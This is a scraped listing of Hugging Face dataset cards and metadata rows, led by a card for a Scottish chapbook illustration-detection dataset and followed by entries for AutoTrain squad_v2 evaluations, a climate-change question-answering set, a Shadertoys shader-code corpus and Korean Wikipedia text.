### Supported Tasks and Leaderboards
- `object-detection`: the dataset contains bounding boxes for images contained in the Chapbooks
- `image-classification`: a configuration for this dataset provides a classification label indicating if a page contains an illustration or not.
- `image-matching`: a configuration for this dataset contains the annotations sorted into clusters or 'visual groupings' of illustrations that contain visually-matching content as determined by using the [VGG Image Search Engine (VISE) software](https://www.robots.ox.ac.uk/~vgg/software/vise/).
The performance on the `object-detection` task reported in the paper [Visual Analysis of Chapbooks Printed in Scotland](https://dl.acm.org/doi/10.1145/3476887.3476893) is as follows:
| IOU threshold | Precision | Recall |
|---------------|-----------|--------|
| 0.50 | 0.993 | 0.911 |
| 0.75 | 0.987 | 0.905 |
| 0.95 | 0.973 | 0.892 |
The performance on the `image classification` task reported in the paper [Visual Analysis of Chapbooks Printed in Scotland](https://dl.acm.org/doi/10.1145/3476887.3476893) is as follows:
Images in original dataset: 47329
Numbers of images on which at least one illustration was detected: 3629
Note that these figures do not represent images that contained multiple detections.
See the [paper](https://dl.acm.org/doi/10.1145/3476887.3476893) for examples of false-positive detections.
The performance on the 'image-matching' task is undergoing evaluation.
### Languages
Text accompanying the illustrations is in English, Scots or Scottish Gaelic.
## Dataset Structure
### Data Instances
An example instance from the `illustration-detection` split:
```python
{'image_id': 4,
'image': <PIL.JpegImagePlugin.JpegImageFile image mode=RGB size=600x1080>,
'width': 600,
'height': 1080,
'objects': [{'category_id': 0,
'image_id': '4',
'id': 1,
'area': 110901,
'bbox': [34.529998779296875,
556.8300170898438,
401.44000244140625,
276.260009765625],
'segmentation': [[34.529998779296875,
556.8300170898438,
435.9700012207031,
556.8300170898438,
435.9700012207031,
833.0900268554688,
34.529998779296875,
833.0900268554688]],
'iscrowd': False}]}
```
An example instance from the `image-classification` split:
```python
{'image': <PIL.JpegImagePlugin.JpegImageFile image mode=RGB size=600x1080>,
'label': 1}
```
An example from the `image-matching` split:
```python
{'image': <PIL.JpegImagePlugin.JpegImageFile image mode=RGB size=600x1080>,
'group-label': 231}
```
### Data Fields
The fields for the `illustration-detection` config:
- image_id: id for the image
- height: height of the image
- width: width of the image
- image: image of the chapbook page
- objects: annotations in COCO format, consisting of a list containing dictionaries with the following keys:
- bbox: bounding boxes for the images
- category_id: a label for the image
- image_id: id for the image
- iscrowd: COCO is a crowd flag
- segmentation: COCO segmentation annotations (empty in this case but kept for compatibility with other processing scripts)
The fields for the `image-classification` config:
- image: image
- label: a label indicating if the page contains an illustration or not
The fields for the `image-matching` config:
- image: image of the chapbook page
- label: an id for a particular instance of an image i.e. the same images will share the same id.
### Data Splits
There is a single split `train` for all configs. K-fold validation was used in the [paper](https://dl.acm.org/doi/10.1145/3476887.3476893) describing this dataset, so no existing splits were defined.
## Dataset Creation
### Curation Rationale
The dataset was created to facilitate research into Scottish chapbook illustration and publishing. Detected illustrations can be browsed under publication metadata: together with the use of [VGG Image Search Engine (VISE) software](https://www.robots.ox.ac.uk/~vgg/software/vise/), this allows researchers to identify matching imagery and to infer the source of a chapbook from partial evidence. This browse and search functionality is available in this [public demo](http://meru.robots.ox.ac.uk/nls_chapbooks/filelist) documented [here](https://www.robots.ox.ac.uk/~vgg/research/chapbooks/)
### Source Data
#### Initial Data Collection and Normalization
The initial data was taken from the [National Library of Scotland's Chapbooks Printed in Scotland dataset](https://data.nls.uk/data/digitised-collections/chapbooks-printed-in-scotland/) No normalisation was performed, but only the images and a subset of the metadata was used. OCR text was not used.
#### Who are the source language producers?
The initial dataset was created by the National Library of Scotland from scans and in-house curated catalogue descriptions for the NLS [Data Foundry](https://data.nls.uk) under the direction of Dr. Sarah Ames.
This subset of the data was created by Dr. Giles Bergel and Dr. Abhishek Dutta using a combination of manual annotation and machine classification, described below.
### Annotations
#### Annotation process
Annotation was initially performed on a subset of 337 of the 47329 images, using the [VGG List Annotator (LISA](https://gitlab.com/vgg/lisa) software. Detected illustrations, displayed as annotations in LISA, were reviewed and refined in a number of passes (see [this paper](https://dl.acm.org/doi/10.1145/3476887.3476893) for more details). Initial detections were performed with an [EfficientDet](https://ai.googleblog.com/2020/04/efficientdet-towards-scalable-and.html) object detector trained on [COCO](https://cocodataset.org/#home), the annotation of which is described in [this paper](https://arxiv.org/abs/1405.0312)
#### Who are the annotators?
Abhishek Dutta created the initial 337 annotations for retraining the EfficentDet model. Detections were reviewed and in some cases revised by Giles Bergel.
### Personal and Sensitive Information
None
## Considerations for Using the Data
### Social Impact of Dataset
We believe this dataset will assist in the training and benchmarking of illustration detectors. It is hoped that by automating a task that would otherwise require manual annotation it will save researchers time and labour in preparing data for both machine and human analysis. The dataset in question is based on a category of popular literature that reflected the learning, tastes and cultural faculties of both its large audiences and its largely-unknown creators - we hope that its use, reuse and adaptation will highlight the importance of cheap chapbooks in the spread of literature, knowledge and entertainment in both urban and rural regions of Scotland and the United Kingdom during this period.
### Discussion of Biases
While the original Chapbooks Printed in Scotland is the largest single collection of digitised chapbooks, it is as yet unknown if it is fully representative of all chapbooks printed in Scotland, or of cheap printed literature in general. It is known that a small number of chapbooks (less than 0.1%) within the original collection were not printed in Scotland but this is not expected to have a significant impact on the profile of the collection as a representation of the population of chapbooks as a whole.
The definition of an illustration as opposed to an ornament or other non-textual printed feature is somewhat arbitrary: edge-cases were evaluated by conformance with features that are most characteristic of the chapbook genre as a whole in terms of content, style or placement on the page.
As there is no consensus definition of the chapbook even among domain specialists, the composition of the original dataset is based on the judgement of those who assembled and curated the original collection.
### Other Known Limitations
Within this dataset, illustrations are repeatedly reused to an unusually high degree compared to other printed forms. The positioning of illustrations on the page and the size and format of chapbooks as a whole is also characteristic of the chapbook format in particular. The extent to which these annotations may be generalised to other printed works is under evaluation: initial results have been promising for other letterpress illustrations surrounded by texts.
## Additional Information
### Dataset Curators
- Giles Bergel
- Abhishek Dutta
### Licensing Information
In accordance with the [original data](https://data.nls.uk/data/digitised-collections/chapbooks-printed-in-scotland/), this dataset is in the public domain.
### Citation Information
``` bibtex
@inproceedings{10.1145/3476887.3476893,
author = {Dutta, Abhishek and Bergel, Giles and Zisserman, Andrew},
title = {Visual Analysis of Chapbooks Printed in Scotland},
year = {2021},
isbn = {9781450386906},
publisher = {Association for Computing Machinery},
address = {New York, NY, USA},
url = {https://doi.org/10.1145/3476887.3476893},
doi = {10.1145/3476887.3476893},
abstract = {Chapbooks were short, cheap printed booklets produced in large quantities in Scotland, England, Ireland, North America and much of Europe between roughly the seventeenth and nineteenth centuries. A form of popular literature containing songs, stories, poems, games, riddles, religious writings and other content designed to appeal to a wide readership, they were frequently illustrated, particularly on their title-pages. This paper describes the visual analysis of such chapbook illustrations. We automatically extract all the illustrations contained in the National Library of Scotland Chapbooks Printed in Scotland dataset, and create a visual search engine to search this dataset using full or part-illustrations as queries. We also cluster these illustrations based on their visual content, and provide keyword-based search of the metadata associated with each publication. The visual search; clustering of illustrations based on visual content; and metadata search features enable researchers to forensically analyse the chapbooks dataset and to discover unnoticed relationships between its elements. We release all annotations and software tools described in this paper to enable reproduction of the results presented and to allow extension of the methodology described to datasets of a similar nature.},
booktitle = {The 6th International Workshop on Historical Document Imaging and Processing},
pages = {67–72},
numpages = {6},
keywords = {illustration detection, chapbooks, image search, visual grouping, printing, digital scholarship, illustration dataset},
location = {Lausanne, Switzerland},
series = {HIP '21}
}
```
### Contributions
Thanks to [@davanstrien](https://github.com/davanstrien) and Giles Bergel for adding this dataset.
|
lonestar108 | null | null | null | false | 1 | false | lonestar108/qd50 | 2022-07-24T00:42:38.000Z | null | false | 000fe345b3d7c2d741654a12ccbffa2a0e5beec6 | [] | [
"license:cc-by-4.0"
] | https://huggingface.co/datasets/lonestar108/qd50/resolve/main/README.md | ---
license: cc-by-4.0
---
|
lonestar108 | null | null | null | false | 1 | false | lonestar108/qd100 | 2022-07-23T23:59:24.000Z | null | false | 59b78b3485f2c9c91ebc2161cdefb94e6acaebb7 | [] | [
"license:cc-by-4.0"
] | https://huggingface.co/datasets/lonestar108/qd100/resolve/main/README.md | ---
license: cc-by-4.0
---
|
Gpaiva | null | null | null | false | 2 | false | Gpaiva/NERDE_sentences | 2022-07-24T00:22:44.000Z | null | false | 6aa087d61c9aa8bb123ef1d8ecaac7b1bbd55d05 | [] | [
"license:cc-by-4.0"
] | https://huggingface.co/datasets/Gpaiva/NERDE_sentences/resolve/main/README.md | ---
license: cc-by-4.0
---
|
Pligabue | null | null | null | false | 1 | false | Pligabue/BLAB_KG | 2022-07-24T03:52:47.000Z | null | false | 76fcebe426935e35713fd378b3de34e05581578e | [] | [
"license:mit"
] | https://huggingface.co/datasets/Pligabue/BLAB_KG/resolve/main/README.md | ---
license: mit
---
|
apoulos | null | null | null | false | 1 | false | apoulos/Fork-test | 2022-07-24T06:05:16.000Z | null | false | 08ebcd44475da03e21fef856c051b8c98639ed6e | [] | [
"license:unknown"
] | https://huggingface.co/datasets/apoulos/Fork-test/resolve/main/README.md | ---
license: unknown
---
|
apoulos | null | null | null | false | 1 | false | apoulos/GFPGAN-fork | 2022-07-24T06:25:08.000Z | null | false | 17a36adb411ff1fea0d7dd861faa580e7839aac2 | [] | [
"license:unknown"
] | https://huggingface.co/datasets/apoulos/GFPGAN-fork/resolve/main/README.md | ---
license: unknown
---
|
autoevaluate | null | null | null | false | 1 | false | autoevaluate/autoeval-staging-eval-project-squad_v2-2eb94bfa-11695556 | 2022-07-24T08:23:49.000Z | null | false | 0bafa7af1ec5ff70f682f40196ebc18708f8d27f | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:squad_v2"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-squad_v2-2eb94bfa-11695556/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- squad_v2
eval_info:
task: extractive_question_answering
model: deepset/minilm-uncased-squad2
metrics: []
dataset_name: squad_v2
dataset_config: squad_v2
dataset_split: validation
col_mapping:
context: context
question: question
answers-text: answers.text
answers-answer_start: answers.answer_start
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Question Answering
* Model: deepset/minilm-uncased-squad2
* Dataset: squad_v2
* Config: squad_v2
* Split: validation
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@ghpkishore](https://huggingface.co/ghpkishore) for evaluating this model. |
autoevaluate | null | null | null | false | 1 | false | autoevaluate/autoeval-staging-eval-project-squad_v2-2eb94bfa-11695557 | 2022-07-24T08:25:16.000Z | null | false | 0012c270d0bd91ea80c924aa6dfdf9358394daa2 | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:squad_v2"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-squad_v2-2eb94bfa-11695557/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- squad_v2
eval_info:
task: extractive_question_answering
model: deepset/tinyroberta-6l-768d
metrics: []
dataset_name: squad_v2
dataset_config: squad_v2
dataset_split: validation
col_mapping:
context: context
question: question
answers-text: answers.text
answers-answer_start: answers.answer_start
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Question Answering
* Model: deepset/tinyroberta-6l-768d
* Dataset: squad_v2
* Config: squad_v2
* Split: validation
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@ghpkishore](https://huggingface.co/ghpkishore) for evaluating this model. |
autoevaluate | null | null | null | false | 1 | false | autoevaluate/autoeval-staging-eval-project-squad_v2-2eb94bfa-11695558 | 2022-07-24T08:25:57.000Z | null | false | 446bb59eac4bc07d261513dd87c75cc14d00df1b | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:squad_v2"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-squad_v2-2eb94bfa-11695558/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- squad_v2
eval_info:
task: extractive_question_answering
model: deepset/xlm-roberta-base-squad2
metrics: []
dataset_name: squad_v2
dataset_config: squad_v2
dataset_split: validation
col_mapping:
context: context
question: question
answers-text: answers.text
answers-answer_start: answers.answer_start
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Question Answering
* Model: deepset/xlm-roberta-base-squad2
* Dataset: squad_v2
* Config: squad_v2
* Split: validation
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@ghpkishore](https://huggingface.co/ghpkishore) for evaluating this model. |
rony | null | null | null | false | 1 | false | rony/climate-change-MRC | 2022-07-25T06:14:09.000Z | null | false | 4eda02d5543e62650c00f8abd5b0cc1335b03088 | [] | [
"license:mit"
] | https://huggingface.co/datasets/rony/climate-change-MRC/resolve/main/README.md | ---
license: mit
---
The Climate Change MRC dataset, also known as CCMRC, is a part of the work "Climate Bot: A Machine Reading Comprehension System for Climate Change Question Answering", accepted at IJCAI-ECAI 2022. The paper was accepted in the special system demo track "AI for Good".
If you use the dataset, cite the following paper:
```
@inproceedings{rony2022climatemrc,
title={Climate Bot: A Machine Reading Comprehension System for Climate Change Question Answering.},
author={Rony, Md Rashad Al Hasan and Zuo, Ying and Kovriguina, Liubov and Teucher, Roman and Lehmann, Jens},
booktitle={IJCAI},
year={2022}
}
```
|
ntmkhanh | null | null | null | false | 1 | false | ntmkhanh/food | 2022-07-24T12:59:52.000Z | null | false | 6e047a1b02a1865e862da10fde74d21396ed845d | [] | [
"license:apache-2.0"
] | https://huggingface.co/datasets/ntmkhanh/food/resolve/main/README.md | ---
license: apache-2.0
---
|
Vipitis | null | null | null | false | 13,481 | false | Vipitis/Shadertoys | 2022-11-05T22:50:34.000Z | null | false | 039ad90d176f7f62bbd3e9a5e3c11743792da768 | [] | [
"annotations_creators:no-annotation",
"language:en",
"language:code",
"language_creators:machine-generated",
"license:cc-by-nc-sa-3.0",
"size_categories:10K<n<100K",
"tags:code",
"task_categories:text-generation",
"task_categories:text-classification",
"task_categories:translation"
] | https://huggingface.co/datasets/Vipitis/Shadertoys/resolve/main/README.md | ---
annotations_creators:
- no-annotation
language:
- en
- code
language_creators:
- machine-generated
license:
- cc-by-nc-sa-3.0
multilinguality: []
pretty_name: Shadertoys
size_categories:
- 10K<n<100K
source_datasets: []
tags:
- code
task_categories:
- text-generation
- text-classification
- translation
task_ids: []
---
# Dataset Card for Shadertoys-fine
## Table of Contents
- [Table of Contents](#table-of-contents)
- [Dataset Description](#dataset-description)
- [Dataset Summary](#dataset-summary)
- [Supported Tasks and Leaderboards](#supported-tasks-and-leaderboards)
- [Languages](#languages)
- [Dataset Structure](#dataset-structure)
- [Data Instances](#data-instances)
- [Data Fields](#data-fields)
- [Data Splits](#data-splits)
- [Dataset Creation](#dataset-creation)
- [Source Data](#source-data)
- [Licensing Information](#licensing-information)
## Dataset Description
- **Repository:** https://github.com/Vipitis/project (private placeholder)
### Dataset Summary
Shadertoys in the medium grained variant. Datapoints are renderpasses.
### Supported Tasks and Leaderboards
`language-modeling`: The dataset can be used to train a model for modelling programming languages, which consists in building language models for programming languages.
`text-classification`: The dataset can be used to classify text(title, description, comments) or code into labels like type or tags.
`translation`: The Dataset can be used to translate from natural language (English) to programming language, or back.
### Languages
- English (title, description, tags, comments)
- Shadercode **programming** language
## Dataset Structure
### Data Instances
A data point consists of the function string, it's name as well as a bit of metadata like the author and source URL. (in the future there might be a function string without comments)
```
{
'name': 'Image',
'type': 'image',
'code': '<full code>',
'title': '<title of the shader>',
'description': '<description of the shader>',
'tags': ['tag1','tag2','tag3', ... ],
'license': 'unknown',
'author': '<username>',
'source': 'https://shadertoy.com/view/<shaderID>'
}
```
### Data Fields
- 'name' Name of the renderpass, usually Image, Buffer A, Common, etc
- 'type' type of the renderpass; one of `{'buffer', 'common', 'cubemap', 'image', 'sound'}`
- 'code' the raw code (including comments) the whole renderpass.
- 'title' Name of the Shader
- 'description' description given for the Shader
- 'tags' List of tags assigned to the Shader (by it's creator); there are more than 10000 unique tags.
- 'license' currently in development
- 'author' username of the shader author
- 'source' URL to the shader. Not to the specific renderpass.
### Data Splits
Currently available (shuffled):
- train (85.0%)
- test (15.0%)
## Dataset Creation
Data retrieved starting 2022-07-20
### Source Data
#### Initial Data Collection and Normalization
All data was collected via the [Shadertoy.com API](https://www.shadertoy.com/howto#q2) and then iterated over the items in 'renderpass' while adding some of the fields from 'info'. The code to generate these datasets will be publish on the GitHub repository in the near future.
#### Who are the source language producers?
Shadertoy.com contributers which publish shaders as 'public+API'
## Licensing Information
The Default [license for each Shader](https://www.shadertoy.com/terms) is CC BY-NC-SA 3.0. However, some Shaders might have a different license attached. The Dataset is currently not filtering for any licenses. A new data field is currently being developed to annotate if any other license applies to a shader. |
nateraw | null | @InProceedings{huggingface:dataset,
title = {A great new dataset},
author={huggingface, Inc.
},
year={2020}
} | This new dataset is designed to solve this great NLP task and is crafted with a lot of care. | false | 1 | false | nateraw/sqllitetest | 2022-07-24T19:44:41.000Z | null | false | bb5c85533e51ecd070d479ccb23e10c92bed9dfe | [] | [
"license:mit"
] | https://huggingface.co/datasets/nateraw/sqllitetest/resolve/main/README.md | ---
license: mit
---
|
nateraw | null | @InProceedings{huggingface:dataset,
title = {A great new dataset},
author={huggingface, Inc.
},
year={2020}
} | This new dataset is designed to solve this great NLP task and is crafted with a lot of care. | false | 1 | false | nateraw/snowflaketest | 2022-08-01T16:20:03.000Z | null | false | fbb486cd44835e75f925e1318193c0b77da9c0cc | [] | [
"license:mit"
] | https://huggingface.co/datasets/nateraw/snowflaketest/resolve/main/README.md | ---
license: mit
---
|
devmehta787 | null | null | null | false | 1 | false | devmehta787/wav2vec2-xlsr-hindi | 2022-07-25T08:28:19.000Z | null | false | c876612cc6bf2807af9ec786b6303390d47ecd9d | [] | [
"license:afl-3.0"
] | https://huggingface.co/datasets/devmehta787/wav2vec2-xlsr-hindi/resolve/main/README.md | ---
license: afl-3.0
---
|
Yehor | null | null | null | false | 1 | false | Yehor/uk-stresses | 2022-07-28T13:57:39.000Z | null | false | 3beff0e67d14889b60f313701a936360828e1283 | [] | [
"tags:uk"
] | https://huggingface.co/datasets/Yehor/uk-stresses/resolve/main/README.md | ---
tags:
- uk
---
This repository contains a slightly modified version of https://github.com/lang-uk/ukrainian-word-stress-dictionary to be used in Text-to-Speech project based on Tacoctron 2 |
jack66931 | null | null | null | false | 1 | false | jack66931/ClassTest | 2022-07-24T21:30:41.000Z | null | false | cdef59ebbf0590d84506524cf199a419c036f728 | [] | [
"license:unknown"
] | https://huggingface.co/datasets/jack66931/ClassTest/resolve/main/README.md | ---
license: unknown
---
|
bongsoo | null | null | null | false | 933 | false | bongsoo/kowiki20220620 | 2022-10-05T00:08:42.000Z | null | false | 47e32b8a853777f36903af82a1008f5d3f230d2a | [] | [
"language:ko",
"license:apache-2.0"
] | https://huggingface.co/datasets/bongsoo/kowiki20220620/resolve/main/README.md | ---
language:
- ko
license: apache-2.0
---
-kowiki202206 1줄 말뭉치
|
actdan2016 | null | null | null | false | 1 | false | actdan2016/dandna | 2022-10-13T06:39:19.000Z | null | false | f851e9309b7e3160f513f254bf9d98976d162d6c | [] | [] | https://huggingface.co/datasets/actdan2016/dandna/resolve/main/README.md | |
bongsoo | null | null | null | false | 21 | false | bongsoo/bongevalsmall | 2022-10-04T23:48:22.000Z | null | false | 79cedccdca57aee5a769b1898987f489c8aa3b8b | [] | [
"language:ko",
"license:apache-2.0"
] | https://huggingface.co/datasets/bongsoo/bongevalsmall/resolve/main/README.md | ---
language:
- ko
license: apache-2.0
---
- 평가 말뭉치 |
autoevaluate | null | null | null | false | 1 | false | autoevaluate/autoeval-staging-eval-project-squad_v2-fdec2e9c-11705559 | 2022-07-25T07:29:26.000Z | null | false | 8e5abafb2af8f768229735214b911e7aa9c7603b | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:squad_v2"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-squad_v2-fdec2e9c-11705559/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- squad_v2
eval_info:
task: extractive_question_answering
model: deepset/xlm-roberta-large-squad2
metrics: []
dataset_name: squad_v2
dataset_config: squad_v2
dataset_split: validation
col_mapping:
context: context
question: question
answers-text: answers.text
answers-answer_start: answers.answer_start
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Question Answering
* Model: deepset/xlm-roberta-large-squad2
* Dataset: squad_v2
* Config: squad_v2
* Split: validation
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@sjrlee](https://huggingface.co/sjrlee) for evaluating this model. |
autoevaluate | null | null | null | false | 1 | false | autoevaluate/autoeval-staging-eval-project-squad_v2-8b8e12f7-11715560 | 2022-07-25T07:33:16.000Z | null | false | a6036b2dcc7768e2940fcab790fd0a42fa5a387d | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:squad_v2"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-squad_v2-8b8e12f7-11715560/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- squad_v2
eval_info:
task: extractive_question_answering
model: deepset/roberta-large-squad2
metrics: ['squad_v2']
dataset_name: squad_v2
dataset_config: squad_v2
dataset_split: validation
col_mapping:
context: context
question: question
answers-text: answers.text
answers-answer_start: answers.answer_start
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Question Answering
* Model: deepset/roberta-large-squad2
* Dataset: squad_v2
* Config: squad_v2
* Split: validation
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@sjrlee](https://huggingface.co/sjrlee) for evaluating this model. |
autoevaluate | null | null | null | false | 2 | false | autoevaluate/autoeval-staging-eval-project-squad-810261fd-11725561 | 2022-07-25T09:36:36.000Z | null | false | eee0a8ef4396cb4882284ec2fda1d0ccfd8d5550 | [] | [
"type:predictions",
"tags:autotrain",
"tags:evaluation",
"datasets:squad"
] | https://huggingface.co/datasets/autoevaluate/autoeval-staging-eval-project-squad-810261fd-11725561/resolve/main/README.md | ---
type: predictions
tags:
- autotrain
- evaluation
datasets:
- squad
eval_info:
task: extractive_question_answering
model: Shanny/bert-finetuned-squad
metrics: ['accuracy']
dataset_name: squad
dataset_config: plain_text
dataset_split: validation
col_mapping:
context: context
question: question
answers-text: answers.text
answers-answer_start: answers.answer_start
---
# Dataset Card for AutoTrain Evaluator
This repository contains model predictions generated by [AutoTrain](https://huggingface.co/autotrain) for the following task and dataset:
* Task: Question Answering
* Model: Shanny/bert-finetuned-squad
* Dataset: squad
* Config: plain_text
* Split: validation
To run new evaluation jobs, visit Hugging Face's [automatic model evaluator](https://huggingface.co/spaces/autoevaluate/model-evaluator).
## Contributions
Thanks to [@ola13](https://huggingface.co/ola13) for evaluating this model. |
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